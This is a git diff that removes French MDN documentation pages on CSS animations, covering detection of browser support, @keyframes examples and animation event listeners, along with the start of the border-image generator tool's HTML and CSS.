Pour commencer, on définit quelques variables et on part de l'hypothèse que les animations ne sont pas prises en charge en définissant animation avec false. On utilise la chaîne de caractères animationstring avec la valeur "animation" car celle-ci représentera le nom de la propriété qu'on souhaite définir. On crée également un tableau contenant les préfixes des différents navigateurs afin de pouvoir parcourir ces différents cas et qu'on utilisera avec la variable pfx qu'on définit pour le moment avec la chaîne vide.

- -

Ensuite, on vérifie si la propriété CSS {{cssxref("animation-name")}}  on est définie sur l'élément représenté par la variable elem. Cela signifie alors que le navigateur prend en charge les animations CSS sans préfixe.

- -

Si le navigateur ne prend pas en charge la version sans préfixe et que animation vaut toujours false, on parcourt les différents préfixes des principaux navigateurs et on modifie le nom de AnimationName de la même façon.

- -

Une fois que ce code a fini son exécution, la valeur de animation sera false si les animations ne sont pas prises en charge ou true si animation est le bon nom et que le préfixe est correct. Pour les préfixes, on fera attention à la variation entre le camelCase (ex. MozAnimation) et les tirets (-moz-x).

- -

Appliquer des animations avec la bonne syntaxe selon le navigateur

- -

Maintenant qu'on sait que les animations CSS sont prises en charge, on peut appliquer des animations :

- -
if( animation === false ) {
-
-  // on utilise JavaScript en fallback
-
-} else {
-  elem.style[ animationstring ] = 'rotate 1s linear infinite';
-
-  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
-                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
-                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
-                  '}';
-
-  if( document.styleSheets && document.styleSheets.length ) {
-
-      document.styleSheets[0].insertRule( keyframes, 0 );
-
-  } else {
-
-    var s = document.createElement( 'style' );
-    s.innerHTML = keyframes;
-    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
-
-  }
-
-}
-
- -

Ce code utilise la valeur d'animation : si c'est false, on utilise JavaScript pour recréer l'effet de l'animation. Sinon, on utilise JavaScript pour manipuler les animations CSS.

- -

Pour définir la propriété d'animation, il suffit de mettre à jour la valeur dans la collection de style. Cependant, c'est un peu plus compliqué de gérer les étapes/keyframes car elles n'utilisent pas la syntaxe CSS traditionnelle.

- -

Pour définir les étapes de l'animation avec JavaScript, il faut les écrire dans une chaîne de caractères CSS. On définit alors une variable keyframes qu'on construit avec le préfixe à utiliser. Une fois construite, cette variable contient la description complète des différentes étapes nécessaires à la description.

- -

Ensuite, il faut ajouter les étapes au CSS de la page. Pour commencer, on regarde s'il n'y a pas déjà une feuille de style associée au document et si c'est le cas, on ajoute la description des étapes dans la feuille de style (cf. les lignes 13 et 15 du fragment de code ci-avant).

- -

S'il n'y aucune feuille de style pré-existante, on crée un nouvel élément {{HTMLElement("style")}} et on remplit son contenu avec la valeur des étapes. Ensuite, on insère ce nouvel élément {{HTMLElement("style")}} dans l'élément {{HTMLElement("head")}} du document ce qui ajoute la nouvelle feuille de style au document.

- -

Voir dans JSFiddle

- -

Voir aussi

- - diff --git a/files/fr/web/css/animations_css/index.html b/files/fr/web/css/animations_css/index.html deleted file mode 100644 index acc7ab6997..0000000000 --- a/files/fr/web/css/animations_css/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Les animations CSS -slug: Web/CSS/Animations_CSS -tags: - - CSS - - Reference -translation_of: Web/CSS/CSS_Animations ---- -
{{CSSRef}}
- -

Les animations CSS sont un module CSS qui définit la façon dont les valeurs des propriétés CSS peuvent être animées au fur et à mesure d'une période via des étapes intermédiaires (keyframes en anglais). Le comportement de ces animations séquencées peut être défini en termes de durée, de nombre de répétitions et de la façon dont elles sont répétées.

- -

Référence

- -

Propriétés CSS

- -
-
    -
  • {{cssxref("animation")}}
    • -
  • {{cssxref("animation-delay")}}
    • -
  • {{cssxref("animation-direction")}}
    • -
  • {{cssxref("animation-duration")}}
    • -
  • {{cssxref("animation-fill-mode")}}
    • -
  • {{cssxref("animation-iteration-count")}}
    • -
  • {{cssxref("animation-name")}}
    • -
  • {{cssxref("animation-play-state")}}
    • -
  • {{cssxref("animation-timing-function")}}
    • -
-
- -

Règles @ CSS

- -
-
    -
  • {{cssxref("@keyframes")}}
    • -
-
- -

Guides

- -
-
Détecter la prise en charge des animations CSS
-
Cet article décrit une technique permettant de détecter si le navigateur prend en charge les animations CSS.
-
Manipuler les animations CSS
-
Un tutoriel pas-à-pas qui explique comment créer des animations CSS. Cet article décrit les différentes propriétés et règles @ relatives aux animations et comment elles interagissent.
-
Conseils pour les animations CSS
-
Des conseils et astuces pour tirer le meilleur parti des animations CSS. Dans cet article, on décrit une technique qui permet de relancer une animation qui a déjà été exécutée, ce que l'API ne permet pas de faire nativement.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Animations')}}{{Spec2('CSS3 Animations')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

Propriété animation

- - - -

{{Compat("css.properties.animation")}}

- -

Voir aussi

- -
    -
  • Les transitions CSS qui permettent de déclencher des animations suite à des actions utilisateur.
    • -
diff --git a/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html b/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html deleted file mode 100644 index 4010492e3d..0000000000 --- a/files/fr/web/css/animations_css/utiliser_les_animations_css/index.html +++ /dev/null @@ -1,363 +0,0 @@ ---- -title: Utiliser les animations CSS -slug: Web/CSS/Animations_CSS/Utiliser_les_animations_CSS -tags: - - Avancé - - CSS - - Guide - - Reference -translation_of: Web/CSS/CSS_Animations/Using_CSS_animations ---- -
{{CSSRef}}
- -

Les animations CSS permettent de créer des transitions entre deux états de mise en forme. Une animation est décrite par deux choses : des propriétés propres à l'animation d'une part et un ensemble d'étapes (keyframes) qui indiquent l'état initial, final et éventuellement des états intermédiaires d'autre part.

- -

Trois avantages permettent de distinguer les animations CSS des techniques d'animations utilisant JavaScript :

- -
    -
  1. On peut aisément obtenir des animations simples sans avoir à connaître JavaScript.
    2. -
  2. Les animations s'exécuteront correctement même lorsque le système est soumis à une charge modérée. Il est possible que des animations JavaScript s'exécutent lentement si elles sont mal décrites. Dans le cadre des animations CSS, le moteur de rendu peut utiliser certaines techniques (comme le frame-skipping) afin que le résultat obtenu soit aussi fluide que possible.
    3. -
  3. En laissant le contrôle de l'animation au navigateur, celui-ci peut optimiser les performances et l'efficacité du système, par exemple en réduisant la fréquence de mise à jour des animations qui sont exécutées dans des onglets qui ne sont pas visibles à l'écran.
    4. -
- -

Paramétrer l'animation

- -

Pour créer une animation CSS, il faut utiliser la propriété raccourcie {{cssxref("animation")}} ou les propriétés détaillées correspondantes sur un ou plusieurs éléments. Cette propriété permet de configurer la durée, le minutage et d'autres détails à propos de l'animation. Attention, cela ne détermine pas l'apparence visuelle de l'animation. Celle-ci est définie en utilisant des règles CSS de mise en forme au sein de la règle @ {{cssxref("@keyframes")}} comme décrit ci-après.

- -

Les propriétés détaillées rattachées à la propriété raccourcie {{cssxref("animation")}} sont :

- -
-
{{cssxref("animation-delay")}}
-
Cette propriété définit le délai entre le moment où l'élément est chargé et le moment où l'animation commence.
-
{{cssxref("animation-direction")}}
-
Cette propriété indique si l'animation doit alterner entre deux directions de progressions (faire des allers-retours) ou recommencer au début à chaque cycle de répétition.
-
{{cssxref("animation-duration")}}
-
Cette propriété définit la durée d'un cycle de l'animation.
-
{{cssxref("animation-fill-mode")}}
-
Cette propriété indique les valeurs qui doivent être appliquées aux propriétés avant et après l'exécution de l'animation.
-
{{cssxref("animation-iteration-count")}}
-
Cette propriété détermine le nombre de fois que l'animation est répétée. On peut utiliser le mot-clé infinite afin de répéter une animation infiniment.
-
{{cssxref("animation-name")}}
-
Cette propriété permet de déclarer un nom qui pourra être utilisé comme référence à l'animation pour la règle @ {{cssxref("@keyframes")}}.
-
{{cssxref("animation-play-state")}}
-
Cette propriété permet d'interrompre (« pause ») ou de reprendre l'exécution d'une animation.
-
{{cssxref("animation-timing-function")}}
-
Cette propriété configure la fonction de minutage d'une animation, autrement dit comment celle-ci accélère entre l'état initial et l'état final notamment grâce à des fonctions décrivant des courbes d'accélération.
-
- -

Définir les étapes composant une animation (@keyframes)

- -

Une fois qu'on a définit les propriétés propres à l'animation, on doit définir la mise en forme qui évolue lors de cette animation. Pour cela on définit deux étapes ou plus grâce à la règle @ {{cssxref("@keyframes")}}. Chaque étape décrit la façon dont l'élément animé doit être affiché à un instant donné lors de l'animation.

- -

La durée de l'animation est définie avant et la règle @keyframes utilise donc des valeurs exprimées en pourcentages (type CSS {{cssxref("percentage")}}) pour indiquer l'instant correspondant à cet état. 0% indique l'état initial de l'animation et 100% indique l'état final. Ces deux états étant très important, il existe deux alias pour les décrire : from et to. Ces états sont optionnels et si from/0% ou to/100% ne sont pas définis, le navigateur utilisera les valeurs calculées des différentes propriétés.

- -

Il est également possible d'ajouter des étapes intermédiaires, entre l'état initial et l'état final de l'animation.

- -

Exemples

- -
Note : Les exemples ci-après n'utilisent pas la version préfixée des propriétés liées aux animations. Il est possible que d'anciens navigateurs (antérieurs à 2017) aient besoin de ces préfixes pour fonctionner auquel cas l'exemple « live » ne fonctionnera pas.
- -

Utiliser une animation pour que le texte traverse la fenêtre du navigateur

- -

Dans cet exemple simple, on met en forme l'élément {{HTMLElement("p")}} afin que le texte passe de la droite vers la gauche de l'écran

- -

On notera que les animations comme celle-ci peuvent agrandir la page qui sera alors plus grande que la fenêtre du navigateur. Pour éviter ce problème, on pourra placer l'élément animé dans un conteneur et utiliser {{cssxref("overflow")}}:hidden sur ce conteneur.

- -
p {
-  animation-duration: 3s;
-  animation-name: slidein;
-}
-
-@keyframes slidein {
-  from {
-    margin-left: 100%;
-    width: 300%;
-  }
-
-  to {
-    margin-left: 0%;
-    width: 100%;
-  }
-}
-
- -

Dans cet exemple, on indique dans les propriétés de {{HTMLElement("p")}} que l'animation doit durer trois secondes entre le début et la fin (c'est le rôle de {{cssxref("animation-duration")}}) et que le nom utilisé par la règle @ {{cssxref("@keyframes")}} pour faire référence à cette animation sera slidein.

- -

Ici, on ne souhaite illustrer que les animations mais on aurait très bien pu avoir d'autres règles « classiques » pour d'autres propriétés à déclarer sur l'élément.

- -

Les étapes (keyframes) de l'animation sont définies via la règle @ {{cssxref("@keyframes")}}. Dans ce premier exemple, on a uniquement deux étapes. La première décrit l'état à 0% (on utilise l'alias from). Pour cet état initial, on veut que la marge gauche de l'élément soit à 100% (c'est-à-dire tout à droite de l'élément englobant) et que la largeur de l'élément soit de 300% (soit trois fois la largeur de l'élément englobant). Cela permet que le contenu soit dessiné hors de la fenêtre lors de l'état initial.

- -

La seconde, et dernière, étape, se produit à 100% d'avancement (dans l'exemple, on utilise l'alias to). Pour cet état, la marge gauche vaut 0% et la largeur de l'élément vaut 100%. De cette façon le contenu finit sa course contre le borde gauche de la zone de contenu.

- -
<p>The Caterpillar and Alice looked at each other for some time in silence:
-at last the Caterpillar took the hookah out of its mouth, and addressed
-her in a languid, sleepy voice.</p>
-
- -
-

Note : Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.

-
- -

{{EmbedLiveSample("Définir_les_étapes_composant_une_animation_(@keyframes)","100%","250")}}

- -

Ajouter une autre étape

- -

Ajoutons une autre étape à partir de l'animation précédente. Ici, nous allons agrandir la taille de police utilisée lorsque l'élément arrive de la droite avant qu'elle ne réduise à nouveau pour revenir à la taille originale une fois arrivée la fin de l'animation. Pour cela, on ajoute une étape dans la règle @ @keyframes :

- -
75% {
-  font-size: 300%;
-  margin-left: 25%;
-  width: 150%;
-}
-
- - - - - -

Cette nouvelle étape indique au navigateur que, lorsqu'on atteint 75% d'avancement, il faut que la marge à gauche soit de 25% et que la largeur du paragraphe représente 150% de la largeur de l'élément englobant.

- -
-

Note : Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.

-
- -

{{EmbedLiveSample("Ajouter_une_autre_étape","100%","250")}}

- -

Répéter une animation

- -

Pour que l'animation se répète, il suffit d'utiliser la propriété {{cssxref("animation-iteration-count")}} et d'indiquer le nombre de répétitions souhaitées. Ici, on utilise la valeur infinite pour que l'animation se répète à l'infini :

- -
p {
-  animation-duration: 3s;
-  animation-name: slidein;
-  animation-iteration-count: infinite;
-}
-
- - - - - -

{{EmbedLiveSample("Répéter_une_animation","100%","250")}}

- -

Obtenir un effet aller-retour

- -

On a donc une animation qui se répète mais on obtient un résultat étrange, l'animation redémarre à chaque fois depuis l'état initial. Si on veut que le texte parcourt l'écran de droite à gauche puis de gauche à droite, on pourra utiliser la propriété {{cssxref("animation-direction")}} avec la valeur alternate :

- -
p {
-  animation-duration: 3s;
-  animation-name: slidein;
-  animation-iteration-count: infinite;
-  animation-direction: alternate;
-}
-
- - - - - -

{{EmbedLiveSample("Obtenir_un_effet_aller-retour","100%","250")}}

- -

Utiliser la propriété raccourcie animation

- -

La propriété raccourcie {{cssxref("animation")}} permet d'économiser de l'espace. Par exemple, si on prend cette règle :

- -
p {
-  animation-duration: 3s;
-  animation-name: slidein;
-  animation-iteration-count: infinite;
-  animation-direction: alternate;
-}
-
- -

On peut la réécrire de façon plus concise :

- -
p {
-  animation: 3s infinite alternate slidein;
-}
- -
-

Note : Pour plus de détails, vous pouvez consulter la page de référence sur la propriété {{cssxref("animation")}}.

-
- -

Utiliser plusieurs valeurs pour différentes animations

- -

Les propriétés CSS détaillées permettent d'utiliser plusieurs valeurs, séparées par des virgules. Cela permet de paramétrer plusieurs animations via une seule règle. Prenons quelques exemples.

- -

Dans ce premier exemple, on a trois animations nommées différemment mais qui utilisent la même durée et le même nombre d'itération :

- -
animation-name: fadeInOut, moveLeft300px, bounce;
-animation-duration: 3s;
-animation-iteration-count: 1;
- -

Dans ce deuxième exemple, les trois propriétés ont cette fois des composantes distinctes, pour la durée et le nombre d'itération. Ici, par exemple fadeInOut a une durée de 2.5s et 2 itérations.

- -
animation-name: fadeInOut, moveLeft300px, bounce;
-animation-duration: 2.5s, 5s, 1s;
-animation-iteration-count: 2, 1, 5;
- -

Dans ce troisième cas, on a toujours trois animations mais uniquement deux durées et deux nombres d'itération. Lorsqu'il y a moins de valeurs que d'animations, on boucle sur les valeurs. Par exemple, avec le code qui suit, fadeInOut durera 2.5s, moveLeft300px durera 5s. On arrive à la fin de la liste des valeurs de durée et on reprend donc au début : bounce aura donc une durée de 2.5s. Le nombre d'itérations sera affecté de la même façon.

- -
animation-name: fadeInOut, moveLeft300px, bounce;
-animation-duration: 2.5s, 5s;
-animation-iteration-count: 2, 1;
- -

Utiliser les événements liés aux animations

- -

Il est possible d'obtenir des informations et un certain contrôle sur les animations en utilisant l'objet {{domxref("AnimationEvent")}}. Celui-ci peut être utilisé pour détecter quand les animations commencent, finissent et il peut déclencher une nouvelle itération. Chaque événement inclue l'instant auquel il s'est produit et le nom de l'animation qui a déclenché l'événement.

- -

Dans la suite de cet article, nous allons modifier l'exemple précédent pour obtenir des informations supplémentaires sur chaque événement d'animation lorsqu'il se produit afin de mieux voir comment cela fonctionne.

- -

La feuille de style CSS

- -

On commence par rédiger le CSS pour l'animation. Ici, l'animation durera 3 secondes, sera intitulée slidein, se répètera trois fois et changera de direction pour faire des allers-retours. Dans la règle @ {{cssxref("@keyframes")}}, on manipule la largeur et la marge à gauche de l'élément afin que ce dernier traverse l'écran.

- -
.slidein {
-  animation-duration: 3s;
-  animation-name: slidein;
-  animation-iteration-count: 3;
-  animation-direction: alternate;
-}
-
-@keyframes slidein {
-  from {
-    margin-left:100%;
-    width:300%
-  }
-
-  to {
-    margin-left:0%;
-    width:100%;
-  }
-}
- -

Les gestionnaires d'événements

- -

On utilisera JavaScript pour « écouter » les trois événements possibles. Le code qui suit permet de définir les gestionnaires d'événement (à utiliser une fois que le document a été chargé).

- -
var element = document.getElementById("watchme");
-element.addEventListener("animationstart", listener, false);
-element.addEventListener("animationend", listener, false);
-element.addEventListener("animationiteration", listener, false);
-
-element.className = "slidein";
-
- -

Ce code est plutôt classique, n'hésitez pas à consulter la documentation de {{domxref("eventTarget.addEventListener()")}} si besoin. Pour finir, ce script attribut une classe sur slidein sur l'élément.

- -

Quel est l'intérêt ? En fait, l'événement animationstart est déclenché dès que l'animation démarre et cela se produit alors avant l'exécution du script. Pour éviter cela, on démarre l'animation via le script en définissant la classe de l'élément à animer.

- -

Écouter les événements

- -

Les événements sont transmis à la fonction listener() décrite ici :

- -
function listener(event) {
-  var l = document.createElement("li");
-  switch(event.type) {
-    case "animationstart":
-      l.innerHTML = "Début : durée écoulée : " + event.elapsedTime;
-      break;
-    case "animationend":
-      l.innerHTML = "Fin : durée écoulée : " + event.elapsedTime;
-      break;
-    case "animationiteration":
-      l.innerHTML = "Nouvelle boucle démarrée à : " + event.elapsedTime;
-      break;
-  }
-  document.getElementById("output").appendChild(l);
-}
-
- -

Ce code consulte {{domxref("event.type")}} afin de déterminer l'événement qui s'est produit puis ajoute un élément {{HTMLElement("ul")}} au document pour alimenter un journal des événements.

- -

Le résultat obtenu devrait ressembler à quelque chose comme :

- -
    -
  • Début : durée écoulée : 0
    • -
  • Nouvelle boucle démarrée à : 3.01200008392334
    • -
  • Nouvelle boucle démarrée à : 6.00600004196167
    • -
  • Fin : durée écoulée : 9.234000205993652
    • -
- -

On voit ici que les durées sont proches mais pas exactes. On voit également que, lors de la fin de l'animation, l'événement animationiteration n'est pas envoyé, seul animationend est déclenché.

- -

Le document HTML

- -

Afin d'être tout à fait complet, voici le code HTML qui peut être utilisé et qui contint la liste dans laquelle on enregistrera les événements reçus :

- -
<h1 id="watchme">Regardez-moi bouger</h1>
-<p>
-  Un exemple d'animation CSS pour déplacer
-  un élément <code>H1</code> sur une page.
-</p>
-<p>
-  Voici les événements relatifs aux animations :
-</p>
-<ul id="output">
-</ul>
-</body>
-
- -

{{EmbedLiveSample('Utiliser_les_événements_liés_aux_animations', '600', '300')}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-image/index.html" "b/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-image/index.html" deleted file mode 100644 index 592f9f64fd..0000000000 --- "a/files/fr/web/css/arri\303\250re-plans_et_bordures_css/g\303\251n\303\251rateur_border-image/index.html" +++ /dev/null @@ -1,2626 +0,0 @@ ---- -title: Générateur de border-image -slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-image -tags: - - CSS - - Outil -translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator ---- -

Cet outil peut être utilisé afin de générer des valeurs pour la propriété {{cssxref("border-image")}}.

- -
-

Générateur border-image

- -

Contenu HTML

- -
    <div id="container">
-
-        <div id="gallery">
-            <div id="image-gallery">
-                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/>
-                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/>
-                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/>
-                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/>
-                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/>
-                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/>
-            </div>
-        </div>
-
-        <div id="load-actions" class="group section">
-            <div id="toggle-gallery" data-action="hide"> </div>
-            <div id="load-image" class="button"> Upload image </div>
-            <input id="remote-url" type="text" placeholder="Charger une image depuis une  URL"/>
-            <div id="load-remote" class="button"> </div>
-        </div>
-
-        <div id="general-controls" class="group section">
-            <div class="name"> Options </div>
-            <div class="separator"></div>
-            <div class="property">
-                <div class="name">Échelle</div>
-                <div class="ui-input-slider" data-topic="scale"
-                    data-unit="%" data-max="300" data-sensivity="10">
-                </div>
-            </div>
-            <div class="separator"></div>
-            <div class="property">
-                <div class="name">Déplaçable</div>
-                <div class="ui-checkbox" data-topic='drag-subject'></div>
-            </div>
-            <div class="property right">
-                <div class="name">Hauteur de la section</div>
-                <div class="ui-input-slider" data-topic="preview-area-height"
-                    data-min="400" data-max="1000">
-                </div>
-            </div>
-        </div>
-
-        <div id="preview_section" class="group section">
-            <div id="subject">
-                <div class="guideline" data-axis="Y" data-topic="slice-top"></div>
-                <div class="guideline" data-axis="X" data-topic="slice-right"></div>
-                <div class="guideline" data-axis="Y" data-topic="slice-bottom"></div>
-                <div class="guideline" data-axis="X" data-topic="slice-left"></div>
-            </div>
-            <div id="preview"> </div>
-        </div>
-
-        <!-- controls -->
-        <div id="controls" class="group section">
-
-            <!-- border-image-slice -->
-            <div id="border-slice-control" class="category">
-                <div class="title"> border-image-slice </div>
-                <div class="property">
-                    <div class="name">fill</div>
-                    <div class="ui-checkbox" data-topic='slice-fill'></div>
-                </div>
-            </div>
-
-            <!-- border-image-width -->
-            <div id="border-width-control" class="category">
-                <div class="title"> border-image-width </div>
-            </div>
-
-            <!-- border-image-outset -->
-            <div id="border-outset-control" class="category">
-                <div class="title"> border-image-outset </div>
-            </div>
-
-            <!-- other-settings -->
-            <div id="aditional-properties" class="category">
-                <div class="title"> Autres propriétés </div>
-                <div class="property">
-                    <div class="name"> repeat-x </div>
-                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2">
-                        <div data-value="0">repeat</div>
-                        <div data-value="0">stretch</div>
-                        <div data-value="0">round</div>
-                    </div>
-                </div>
-                <div class="property">
-                    <div class="name"> repeat-y </div>
-                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2">
-                        <div data-value="1">repeat</div>
-                        <div data-value="1">stretch</div>
-                        <div data-value="1">round</div>
-                    </div>
-                </div>
-                <div class="property">
-                    <div class="ui-input-slider" data-topic="font-size" data-info="em size"
-                        data-unit="px" data-value="12" data-sensivity="3">
-                    </div>
-                </div>
-
-                <div class="property">
-                    <div class="ui-input-slider" data-topic="preview-width" data-info="width"
-                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div>
-                </div>
-                <div class="property">
-                    <div class="ui-input-slider" data-topic="preview-height" data-info="height"
-                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3">
-                    </div>
-                </div>
-            </div>
-
-
-            <div id="output" class="category">
-                <div class="title"> Code CSS </div>
-                <div class="css-property">
-                    <span class="name"> border-image-slice: </span>
-                    <span id="out-border-slice" class="value"> </span>
-                </div>
-                <div class="css-property">
-                    <span class="name"> border-image-width: </span>
-                    <span id="out-border-width" class="value"> </span>
-                </div>
-                <div class="css-property">
-                    <span class="name"> border-image-outset: </span>
-                    <span id="out-border-outset" class="value"> </span>
-                </div>
-                <div class="css-property">
-                    <span class="name"> border-image-repeat: </span>
-                    <span id="out-border-repeat" class="value"> </span>
-                </div>
-                <div class="css-property">
-                    <span class="name"> border-image-source: </span>
-                    <span id="out-border-source" class="value">  </span>
-                </div>
-            </div>
-
-        </div>
-    </div>
- -

CSS Content

- -
/*  GRID OF TWELVE
- * ========================================================================== */
-
-.span_12 {
-	width: 100%;
-}
-
-.span_11 {
-	width: 91.46%;
-}
-
-.span_10 {
-	width: 83%;
-}
-
-.span_9 {
-	width: 74.54%;
-}
-
-.span_8 {
-	width: 66.08%;
-}
-
-.span_7 {
-	width: 57.62%;
-}
-
-.span_6 {
-	width: 49.16%;
-}
-
-.span_5 {
-	width: 40.7%;
-}
-
-.span_4 {
-	width: 32.24%;
-}
-
-.span_3 {
-	width: 23.78%;
-}
-
-.span_2 {
-	width: 15.32%;
-}
-
-.span_1 {
-	width: 6.86%;
-}
-
-
-/*  SECTIONS
- * ========================================================================== */
-
-.section {
-	clear: both;
-	padding: 0px;
-	margin: 0px;
-}
-
-/*  GROUPING
- * ========================================================================== */
-
-
-.group:before, .group:after {
-    content: "";
-    display: table;
-}
-
-.group:after {
-    clear:both;
-}
-
-.group {
-    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
-}
-
-/*  GRID COLUMN SETUP
- * ========================================================================== */
-
-.col {
-	display: block;
-	float:left;
-	margin: 1% 0 1% 1.6%;
-}
-
-.col:first-child {
-	margin-left: 0;
-} /* all browsers except IE6 and lower */
-
-
-
-/*
- * UI Component
- */
-
-.ui-input-slider {
-	height: 20px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	-moz-user-select: none;
-	user-select: none;
-}
-
-.ui-input-slider * {
-	float: left;
-	height: 100%;
-	line-height: 100%;
-}
-
-/* Input Slider */
-
-.ui-input-slider > input {
-	margin: 0;
-	padding: 0;
-	width: 50px;
-	text-align: center;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-input-slider-info {
-	width: 90px;
-	padding: 0px 10px 0px 0px;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-left, .ui-input-slider-right {
-	width: 16px;
-	cursor: pointer;
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
-}
-
-.ui-input-slider-right {
-	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
-}
-
-.ui-input-slider-name {
-	width: 90px;
-	padding: 0 10px 0 0;
-	text-align: right;
-	text-transform: lowercase;
-}
-
-.ui-input-slider-btn-set {
-	width: 25px;
-	background-color: #2C9FC9;
-	border-radius: 5px;
-	color: #FFF;
-	font-weight: bold;
-	line-height: 14px;
-	text-align: center;
-}
-
-.ui-input-slider-btn-set:hover {
-	background-color: #379B4A;
-	cursor: pointer;
-}
-
-/*************************************************************************************/
-/*************************************************************************************/
-
-/*
- * UI DropDown
- */
-
-/* Dropdown */
-
-.ui-dropdown {
-	height: 2em;
-	width: 120px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	font-size: 12px;
-
-	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
-	background-position: right center;
-	background-repeat: no-repeat;
-	background-color: #359740;
-
-	position: relative;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-dropdown:hover {
-	cursor: pointer;
-	background-color: #208B20;
-}
-
-/* Dropdown Select Button */
-
-.ui-dropdown-select {
-	height: inherit;
-	padding: 0 0.75em;
-	color: #FFF;
-	line-height: 2em;
-}
-
-/* Dropdown List */
-
-.ui-dropdown-list {
-	width: 100%;
-	height: 150px;
-	max-height: 150px;
-	margin: 0;
-	padding: 0 0.3em;
-
-	border: 3px solid #3490D2;
-	border-color: #208B20;
-	background: #666;
-	background-color: #EEF1F5;
-	color: #000;
-
-	position: absolute;
-	top: 2em;
-	left: 0;
-	z-index: 100;
-
-	overflow: hidden;
-	transition: all 0.3s;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-dropdown-list:hover {
-	overflow: auto;
-}
-
-.ui-dropdown-list[data-hidden='true'] {
-	height: 0 !important;
-	opacity: 0;
-	visibility: hidden;
-}
-
-.ui-dropdown[data-position='left'] .ui-dropdown-list {
-	left: -100%;
-	top: 0;
-}
-
-.ui-dropdown[data-position='right'] .ui-dropdown-list {
-	left: 100%;
-	top: 0;
-}
-
-.ui-dropdown-list > div {
-	width: 100%;
-	height: 1.6em;
-	margin: 0.3em 0;
-	padding: 0.3em;
-	line-height: 1em;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-.ui-dropdown-list > div:hover {
-	background: #3490D2;
-	color:#FFF;
-	border-radius: 2px;
-	cursor: pointer;
-}
-
-
-/*************************************************************************************/
-/*************************************************************************************/
-
-/*
- * UI Button
- */
-
-/* Checkbox */
-
-.ui-checkbox {
-	text-align: center;
-	font-size: 16px;
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-	line-height: 1.5em;
-	color: #FFF;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-.ui-checkbox > input {
- 	display: none;
-}
-
-.ui-checkbox > label {
-	font-size: 12px;
-	padding: 0.333em 1.666em 0.5em;
-	height: 1em;
-	line-height: 1em;
-
-	background-color: #888;
-	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
-	background-position: center center;
-	background-repeat: no-repeat;
-
-	color: #FFF;
-	border-radius: 2px;
-	font-weight: bold;
-	float: left;
-}
-
-.ui-checkbox .text {
-	padding-left: 34px;
-	background-position: center left 10px;
-}
-
-.ui-checkbox .left {
-	padding-right: 34px;
-	padding-left: 1.666em;
-	background-position: center right 10px;
-}
-
-.ui-checkbox > label:hover {
-	cursor: pointer;
-}
-
-.ui-checkbox > input:checked + label {
-	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
-	background-color: #379B4A;
-}
-
-/*************************************************************************************/
-/*************************************************************************************/
-
-/*
- * BORDER IMAGE GENERATOR TOOL
- */
-
-body {
-	width: 100%;
-	margin: 0 auto;
-	padding: 0 0 20px 0;
-
-	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
-
-	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
-	border: 1px solid #EEE;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-
-	-moz-user-select: none;
-	-webkit-user-select: none;
-	-ms-user-select: none;
-	user-select: none;
-}
-
-body[data-move='X'] {
-	cursor: w-resize !important;
-}
-
-body[data-move='Y'] {
-	cursor: s-resize !important;
-}
-
-#container {
-	width: 100%;
-
-	-moz-box-sizing: border-box;
-	-webkit-box-sizing: border-box;
-	box-sizing: border-box;
-}
-
-[data-draggable='true']:hover {
-	cursor: move;
-}
-
-[data-draggable='true']:hover > * {
-	cursor: default;
-}
-
-
